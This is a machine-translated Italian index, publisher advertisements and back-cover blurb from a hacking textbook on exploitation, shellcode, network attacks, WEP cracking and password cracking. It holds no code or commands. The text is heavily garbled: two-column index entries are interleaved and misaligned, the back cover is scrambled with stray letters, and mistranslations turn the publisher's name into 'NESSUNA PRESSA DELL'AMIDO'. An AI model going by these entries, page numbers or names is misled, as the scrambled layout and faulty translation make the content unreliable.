algoritmo euclideo esteso, per i loop, 10-11
401–402 con istruzioni di montaggio, 309–310
per riempire il buffer, 138
F comando in primo piano ( fg ), 158, 332
errori fatali, visualizzazione, 228 indirizzo sorgente di falsificazione, 239
funzione fatale () , 83, 91 funzione fork () , 149, 346
460 INDICE
Pagina 475
Pagina 476
462 INDICE
Pagina 477
funzione jackpot () ,
come obiettivo dell'exploit, funzione libnet_get_hwaddr () , 251
INDICE 463
Pagina 478
464 INDICE
Pagina 479
funzione nemesis_arp () ,
245 prese, 198–217
file nemesis-arp.c, 244–245 conversione di indirizzi, 203
file nemesis.h, 245–246 indirizzi, 200–202
file nemesis-proto_arp.c, 246–248 funzioni, 199-200
chiamate di funzioni annidate, 62 ordine dei byte di rete, 202–203
programma netcat, 279, 309, 316, 332 esempio di server, 203–207
file netdb.h, 210 server tinyweb, 213–217
file netinet / in.h, 201–202 client web, 207–213
programma netstat, 309 Dirottamento TCP / IP, 258-263
Netwide Assembler (NASM), 454 Dirottamento RST, 259-263
ordine di byte di rete, 202–203, 316 carattere di nuova riga, per la riga HTTP
livello di rete (OSI), 196, 197 risoluzione, 209
per browser web, 217, 220–221 Newsham, Tim, 436–437
sniffing di rete, 224–251, 393 comando nexti (istruzione successiva), 31
sniffing attivo, 239–251 NFS (setaccio del campo numerico), 404
strati di decodifica, 230-239 comando nm , 159, 184, 185
sniffer libpcap, 228-230 nmap (strumento di scansione delle porte), 264
sniffer raw socket, 226–227 No Electronic Theft Act, 118
networking, 195 stati quantistici non ortogonali, in
rilevamento del traffico anomalo, fotoni, 395
354–359 caratteri non stampabili, stampa, 133
Denial of Service, 251–258 NOP (nessuna operazione) slitta, 140, 145,
attacchi di amplificazione, 257 275, 317, 332, 390
inondazioni DoS distribuite, 258 nascondersi, 362–363
ping inondazioni, 257 tra il codice del caricatore e
ping di morte, 256 codice shell, 373
Inondazioni SYN, 252–256 non uguale a operatore ( ! = ), 14
lacrima, 256 non operatore ( ! ), 14
pirateria informatica, 272-280 programma notesearch.c, 93–96
analisi con GDB, 273-275 sfruttamento, 386–387
codice shell di collegamento alla porta, 278-280 vulnerabilità delle stringhe di formato,
sniffing di rete, 224–251 189–190
sniffing attivo, 239–251 vulnerabilità al buffer overflow,
strati di decodifica, 230-239 137–142
sniffer libpcap, 228-230 programma notetaker.c, 91–93, 150–155
sniffer raw socket, 226–227 programma per prendere appunti, 82
Strati OSI per browser web, funzione ntohl () , 203
217–224 funzione ntohs () , 203, 206
livello di collegamento dati, 218–219 byte nulli, 38–39, 290
livello di rete, 220–221 e exploit buffer, 335
strato di trasporto, 221–224 riempire il buffer degli exploit con, 275
Modello OSI, 196–198 rimozione, 290–295
scansione delle porte, 264–272 Puntatore NULL, 77
Scansioni FIN, X-mas e null, scansioni nulle, 264-265
264–265 setaccio del campo numerico (NFS), 404
scansione inattiva, 265-266 numeri, pseudo-casuali, 101-102
difesa proattiva, 267–272 valori numerici, 41–43
esche di spoofing, 265 Nyberg, Claes, 407, 454
scansione SYN stealth, 264
INDICE 465
Pagina 480
O pastiglie, 395
file di password, 153
Modalità di accesso O_APPEND, 84
matrice di probabilità delle password, 424–433
programma objdump , 21, 184, 185
Le password
Modalità di accesso O_CREAT, 84, 87
cracking, 418–433
errore off-by-one, 116–117
attacchi del dizionario, 419–422
pastiglie una tantum, 395
attacchi di forza bruta esaustivi,
password monouso, 258
422–423
algoritmo di hashing unidirezionale, per
tabella di ricerca hash, 423–424
crittografia delle parole, 153
lunghezza di, 422
file aperti, descrittore di file in
una tantum, 258
riferimento, 82
Variabile d'ambiente PATH, 172
funzione open () , 87, 336–337
contrabbando di carichi utili, 359-363
descrittore di file per, 82
pcalc (calcolatrice del programmatore),
flag utilizzati con, 84
42, 454
lunghezza della corda, 83
librerie pcap, 229
Kernel OpenBSD
funzione pcap_fatal () , 228
pacchetti IPv6 frammentati, 256
funzione pcap_lookupdev () , 228
stack non eseguibile, 376
funzione pcap_loop () , 235, 236
OpenSSH, 116–117
funzione pcap_next () , 235
pacchetto openssh, 414
funzione pcap_open_live () , 229, 261
ottimizzazione, 6
programma pcap_sniff.c, 228
o istruzione, 293
segno di percentuale ( % ), per il formato
Operatore OR, 14-15
parametro, 48
per i flag di accesso ai file, 84
Perl, 133
Modalità di accesso O_RDONLY, 84
autorizzazioni per i file, 87–88
Modalità di accesso O_RDWR, 84
funzione perror () , 83
Modello OSI, 196–198
fotoni, quanto non ortogonale
livelli per browser web, 217–224
afferma in, 395
livello di collegamento dati, 218–219
livello fisico (OSI), 196, 197
livello di rete, 220–221
per browser web, 218
strato di trasporto, 221–224
principio di casellario, 425
Modalità di accesso O_TRUNC, 84
ping inondazioni, 257
connessioni in uscita, firewall
ping di morte, 256
e 314
utilità ping, 221
programma overflow_example.c, 119
testo in chiaro, per la struttura del protocollo, 208
puntatori a funzioni traboccanti,
funzione play_the_game () , 156–157
156–167
PLT (tabella di collegamento delle procedure), 190
trabocca. Vedere buffer overflow
puntatore, alla struttura sockaddr , 201
Modalità di accesso O_WDONLY, 84
puntatore aritmetico, 52-53
proprietario, di file, 87
variabili puntatore
dereferenziazione, 53
P typecasting, 52
strumento per l'iniezione di pacchetti, 242–248 programma pointer.c, 44
programmi di acquisizione di pacchetti, 224 suggerimenti, 24–25, 43–47
pacchetti, 196, 198 funzione, 100–101
cattura, 225 agli struct, 98
strati di decodifica, 230-239 programma pointer_types.c, 52
ispezione, 359 programma pointer_types2.c, 53–54
limitazioni di dimensione, 221 programma pointer_types3.c, 55
466 INDICE
Pagina 481
INDICE 467
Pagina 482
468 INDICE
Pagina 483
INDICE 469
Pagina 484
470 INDICE
Pagina 485
INDICE 471
Pagina 486
V dove comando, 61
while / until cicli, 9-10
valori
Wired Equivalent Privacy (WEP), 433,
assegnazione a variabile, 12
434–435
restituito dalla funzione, 16
attacchi, 436–449
variabili, 11-12
crittografia wireless 802.11b, 433–436
operatori aritmetici per, 12-14
parola, 28-29
Compilatore C e tipo di dati, 58
vermi, 119
operatori di confronto per, 14-15
Wozniak, Steve, 3
ambito, 62–69
Protocollo wireless WPA, 448
strutture, 96-100
funzione write () ,
83
temporaneo, dalla stampa
descrittore di file per, 82
comando, 31
pagina di manuale per, 283
typecasting, 51-58
puntatore per, 92
parola chiave void , 56
permesso di scrittura, 87
per dichiarare la funzione, 17
per segmento di testo, 69
void pointer (C), 56, 57
programma vuln.c, 377
vulnerabilità X
stringhe di formato, 170–171 Parametro di formato % x , 171, 173
nel software, 451–452 opzione larghezza di campo, 179
basato su stack, 122–133
nel programma tinyweb.c, 273 comando x /x3xw
processore 86,, 20,
61 23–25
VML zero-day, 119 istruzioni di montaggio per, 285
Istruzione xchg (scambio), 312
W Scansioni di Natale, 264-265
xor istruzioni, 293, 294
avvisi, sul tipo di dati del puntatore, 54
xtool_tinywebd_reuse.sh script, 358
browser web, livelli OSI per, 217–224
script xtool_tinywebd.sh, 333
client web, 207–213
script xtool_tinywebd_silent.sh,
richieste web, elaborazione dopo
353–354
intrusione, 336
xtool_tinywebd_spoof.sh script,
server web
349–350
telnet per TCP / IP
xtool_tinywebd_stealth.sh script, 335
collegamento a, 208
server tinyweb, 213–217
file webserver_id.c, 212–213 Z
WEP (Wired Equivalent Privacy), 433, registri di azzeramento, 294
434–435 Registro EAX (accumulatore), 368
attacchi, 436–449 con codice shell polimorfico, 366
472 INDICE
Pagina 488
487
FIREWALL DI LINUX
Rilevamento e risposta agli attacchi con iptables, psad e fwsnort
di MICHAEL RASH
Linux Firewalls discute i dettagli tecnici del firewall iptables e del
Netfilter framework che sono incorporati nel kernel Linux e spiega come
forniscono un potente filtro, NAT (Network Address Translation), monitoraggio dello stato
e capacità di ispezione a livello di applicazione che rivaleggiano con molte commerciali
utensili. Imparerai come distribuire iptables come IDS con psad e fwsnort
e come creare un forte livello di autenticazione passivo attorno a iptables con
fwknop. Esempi concreti illustrano concetti come l'analisi del registro del firewall
e politiche, autenticazione e autorizzazione di rete passiva, exploit
tracce di pacchetti, emulazione di regole di Snort e altro ancora.
OTTOBRE 2007, 336 PP ., $ 49,95
ISBN 978-1-59327-141-1
Pagina 489
LA GUIDA TCP / IP
Un riferimento completo e illustrato ai protocolli Internet
da Charles M . KOZIEROK
La Guida TCP / IP è un riferimento enciclopedico completamente aggiornato su
la suite di protocolli TCP / IP che piacerà ai nuovi arrivati e ai più esperti
professionale allo stesso modo. L'autore Charles Kozierok descrive in dettaglio i protocolli di base che
fanno funzionare le internetworks TCP / IP e il più importante TCP / IP classico
applicazioni, integrando la copertura IPv6 dappertutto. Oltre 350 illustrazioni
e centinaia di tabelle aiutano a spiegare i punti più fini di questo argomento complesso.
Lo stile di scrittura personale e intuitivo del libro consente ai lettori di tutti i livelli
comprendere le dozzine di protocolli e tecnologie che eseguono Internet,
con copertura completa di PPP, ARP, IP, IPv6, IP NAT, IPSec, Mobile IP, ICMP,
RIP, BGP, TCP, UDP, DNS, DHCP, SNMP, FTP, SMTP, NNTP, HTTP,
Telnet e molto altro ancora.
OTTOBRE 2005, 1616 PP . copertina rigida , $ 89,95
ISBN 978-1-59327-047-6
TELEFONO : EMAIL :
FAX : MAIL :
415.863.9950 NESSUNA PRESSA DELL'AMIDO
24 ORE AL GIORNO , 555 DE HARO ST , SUITE 250
7 GIORNI A SETTIMANA SAN FRANCISCO , CA 94107
Stati Uniti d'America
Pagina 490
AGGIORNAMENTI
CIRCA IL CD
6
24 = ------
3
1- -
4
Pagina 492
491
H
LE TECNICHE FONDAMENTALI DELL'HACKING SERIO 2ND E
L'hacking è l'arte della risoluzione creativa dei problemi, j Supera in astuzia le misure di sicurezza comuni
ACKIN
se questo significa trovare un non convenzionale stack eseguibili e sistemi di rilevamento delle intrusioni
soluzione a un problema difficile o sfruttando buchi in
j Ottenere l'accesso a un server remoto utilizzando il collegamento alla porta
programmazione sciatta. Molte persone chiamano se stesse
o connettersi allo shellcode e modificare il log di un server
hacker, ma pochi hanno le solide basi tecniche
comportamento di ging per nascondere la tua presenza
zione necessaria per spingere davvero la busta.
j Reindirizza il traffico di rete, nasconde le porte aperte e
Piuttosto che mostrare semplicemente come gestire l'esistenza
dirottare le connessioni TCP
exploits, l'autore Jon Erickson spiega quanto sia arcano
le tecniche di hacking funzionano davvero . Per condividere l'arte j Rompere il traffico wireless crittografato utilizzando l'FMS
e la scienza dell'hacking in un modo accessibile
HACKIN
attaccare e accelerare gli attacchi di forza bruta usando un
G
a tutti, Hacking: The Art of Exploitation, 2 ° matrice di probabilità della password
L'edizione introduce i fondamenti del programma C-
Gli hacker spingono sempre oltre i confini, investono
dal punto di vista di un hacker.
tigare l'ignoto e far evolvere la loro arte. Anche
Il LiveCD incluso fornisce un Linux completo se non sai già come programmare, Hacking:
ambiente di programmazione e debug: tutto The Art of Exploitation, 2nd Edition ti darà un
senza modificare il sistema operativo corrente. quadro completo della programmazione, architettura macchina T
Usalo per seguire gli esempi del libro come tecture, comunicazioni di rete ed esistenti H
colmi le lacune nelle tue conoscenze ed esplori gli hack tecniche di hacking. Combina questa conoscenza con E
tecniche da solo. Mettiti le mani sporche l'ambiente Linux incluso e tutto ciò di cui hai bisogno è
UN
codice di debug, buffer in eccesso, dirottamento la tua creatività.
R
comunicazioni di rete, bypassando le protezioni,
sfruttando le debolezze crittografiche e forse
Circa l'autore T
persino inventando nuovi exploit. Questo libro insegnerà
Jon Erickson ha un'istruzione formale in informatica
O
tu come:
scienza e ha hackerato e programmato F
j Programmare i computer utilizzando C, linguaggio assembly, da quando aveva cinque anni. Parla al com E
e script di shell conferenze sulla sicurezza dei computer e sicurezza dei treni X
squadre in tutto il mondo. Attualmente lavora come P
j Memoria di sistema danneggiata per eseguire codice arbitrario
ricercatore di vulnerabilità e specialista in sicurezza in LO
utilizzando buffer overflow e stringhe di formato
California settentrionale.
j Ispezionare i registri del processore e la memoria di sistema
ITA
con un debugger per ottenere una reale comprensione di
che cosa sta succedendo T
IO
N
livecd fornisce un ambiente linux completo di programmazione e debug
ERICKS
IL MIGLIORE IN GEEK ENTERTAINMENT ™ $ 49,95 ($ 54,95 CDn)
www.nostarch.com riporre in: SICUREZZA DEL COMPUTER / SICUREZZA DEL LAVORO
Questo libro utilizza RepKover, una rilegatura durevole che non si chiude.